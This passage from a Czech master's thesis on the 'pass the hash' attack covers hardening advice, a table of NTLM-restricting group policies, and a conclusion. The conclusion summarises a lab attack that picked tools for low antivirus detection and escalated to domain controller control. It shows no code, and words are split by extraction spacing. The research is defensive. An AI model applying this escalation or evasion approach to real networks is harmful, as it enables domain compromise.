tuto část zabezpečení , tedy na správný náv rh firemní infrastruktury. Jestl iže ú točník 

získal fyzický p ř í s tup ke stanici př ipojené do sítě, předchozí bezpečnos t í aspekty je 

t éměř vždy možné j i s tým způsobem obejít . 

J ed iným způsobem, jak reálně ovlivnit dopad ú toku , je omezení použi t í uživatel­

ských ú č t ů a hlavně bezpečnost vysoce privilegizovaných doménových úč tů . T y by 
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Tab. 5.3: Omezení protokolu N T L M 

Pol i t ika Účel nas tavení 

Omezit protokol N T L M : 

Příchozí přenosy protokolu 

N T L M 

Umožňuje povolit nebo ode­

př í t veškerý síťový N T L M 

provoz 

Odepř í t všechny úč ty 

Omezit protokol N T L M : 

Odchozí přenosy protokolu 

N T L M do vzdálených ser­

verů 

Umožňuje povolit nebo ode­

př í t N T L M provoz směřo­

vaný ke vzdálenému auten-

t izačnímu serveru 

Odepř í t vše 

Omezit protokol N T L M : 

Ověřování protokolem 

N T L M v t é to doméně 

Umožňuje povolit nebo ode­

př í t ověřování protokolem 

N T L M v rámci domény z 

konkré tn ího řadiče domény 

Odepř í t všechny úč ty 

Omezit protokol N T L M : 

Auditovat ověřování proto­

kolem N T L M v t é to doméně 

Umožňuje povolit nebo za­

káza t prověření a zazname­

nán í procesu autentizace na 

d a n é m doménovém řadiči 

Zakáza t 

Omezit protokol N T L M : 

Auditovat příchozí přenosy 

protokolu N T L M 

možňuje povolit nebo za­

káza t prověření a zazname­

nán í příchozího N T L M pro­

vozu 

Zakáza t 

se neměly vyskytovat nikde jinde než pouze na s a m o t n é m serveru. V h o d n ý m řeše­

n ím je t aké omezení vzdáleného p ř í s tupu na stanice, k teré neposkytuj í žádné síťové 

služby. 
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6 ZÁVĚR 

Hashovací funkce pa t ř í v současné době k j e d n ě m z nej důležitějších p rvků modern í 

kryptografie. Je využívána předevš ím kvůli svým nej důležitějším vlastnostem - jed-

nocestnost a snaha o bezkoliznost. Díky tomu umožňují v současné době jednoduché , 

ale zároveň relat ivně účinné šifrování hesel. Toho je hojně využíváno t éměř na všech 

operačních systémech. 

Cílem t é t o diplomové práce bylo seznámit se s ú tokem „pass the hash" a ná­

sledně jej demonstrovat. J e d n á se o ú tok, k te rý umožňuje útočníkovi zneuži t í hashe 

přihlašovacích úda jů a využi t í chyb v návrhu autent izačních protokolů za účelem 

získání p ř í s tupu k vysoce privilegizovaným ú č t ů m . 

Teoret ická část je zaměřena na popis mechanizmu autentizace u současných verzí 

operačních sys témů Microsof Windows. Zabývá se jejich principem, způsobem tvorby 

po t řebných hashů, jejich uk l ádán ím a upozorňuje na jejich nedokonalosti. D r u h á část 

byla zaměřena již na s amos t a tný ú tok. B y l y zde popsány postupy umožňující získání 

hash úda jů z různých zabezpečených mís t sys tému a jejich následné zneužit í . 

P rak t i cká část se zabývala tes továním a analýzou volně dos tupných nás t ro jů , 

k teré ú tok umožňují provést . Bylo zjištěno, že větš ina nás t ro jů je již zastarala a jsou 

omezeny pouze na konkré tn í kopie sys témů Windows. Kvůli neoprávněnému zásahu 

do chodu operačního sys tému byla také větš ina p rogramů odhalena ant iv i rovým 

programem. 

Po důk ladné analýze byly zvoleny programy, jichž je možné použí t pro ú tok 

v navrženém reá lném prost ředí . T y byly vybrány na základě nízké míry detekce 

ant ivi rovými programy, univerzálnost i a možnos t í jejich nas tavení . K získání hashe 

byl použi t v las tn í skript, k te rý pracuje pouze s nást roj i integrovanými do Windows. 

Následně bylo navrženo exper imentá ln í pros t řední , na k t e r ém byl ú tok demon­

strován za použi t í výše zvolených nás t ro jů . Útok se skládal ze získání admin is t rá to r ­

ského p ř í s tupu na jakoukoliv stanici, vytvoření po t ř ebného úč tu a postupu přes síť 

až k získání kontroly nad doménovým řadičem. Touto demons t rac í bylo dokázáno, 

že i po velmi dlouhé době, co je ú tok pass the hash známý, může předs tavovat velmi 

výraznou hrozbu v současných firemních infras t rukturách. 

Poslední kapitola se zabývala nas tavením, k te ré je t ř e b a provést , aby dopady 

ú toku bylo možné minimalizovat. 

Z možnost í zabezpečení proti ú t o k u pass the hash plyne, že jedinou ochranou je 

bud změna v použi t í au ten t izačn ího protokolu, nebo správného náv rhu sítě, k t e rý by 

útočníkovi znemožnil postup přes síť a získávání dalších po t řebných úda jů za účelem 

získání p ř í s tupu k doménovému řadiči . Jelikož ovšem veškeré kroky nejsou v reál­

ném firemním pros t ředí možné , je vhodné všechny podezřelé událos t i zaznamenáva t 

a dbá t i na bezpečnost fyzického p ř í s tupu ke s tanicím. 
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